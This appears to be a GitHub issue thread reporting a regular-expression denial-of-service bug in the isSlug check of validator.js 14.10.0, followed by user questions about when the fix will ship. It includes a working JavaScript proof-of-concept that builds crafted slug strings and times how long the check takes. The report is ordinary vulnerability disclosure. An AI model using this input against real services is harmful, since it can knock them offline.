ReDoS in isSlug

[yetingli]

Describe the bug
It allows cause a Regular Expression Denial of Service (REDoS) when checking if the crafted string is of type slug.

Examples

var validator = require("validator")
function build_attack(n) {
	var ret = "111"
	for (var i = 0; i < n; i++) {
		ret += "a"
	}

	return ret+"_";
}
for(var i = 1; i <= 50000; i++) {
    if (i % 10000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
       validator.isSlug(attack_str)
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
   }
}

Additional context
Validator.js version: 14.10.0
Node.js version:
OS platform: windows

[mikeguta]

Is this planned to be included in a specific release in the next few weeks?

[profnandaa]

Sure, we will be making a release before the end of this month @mikeguta

[mikeguta]

Hi @profnandaa, looks like the release schedule has moved up. Do you know when the next release (including this fix) is due?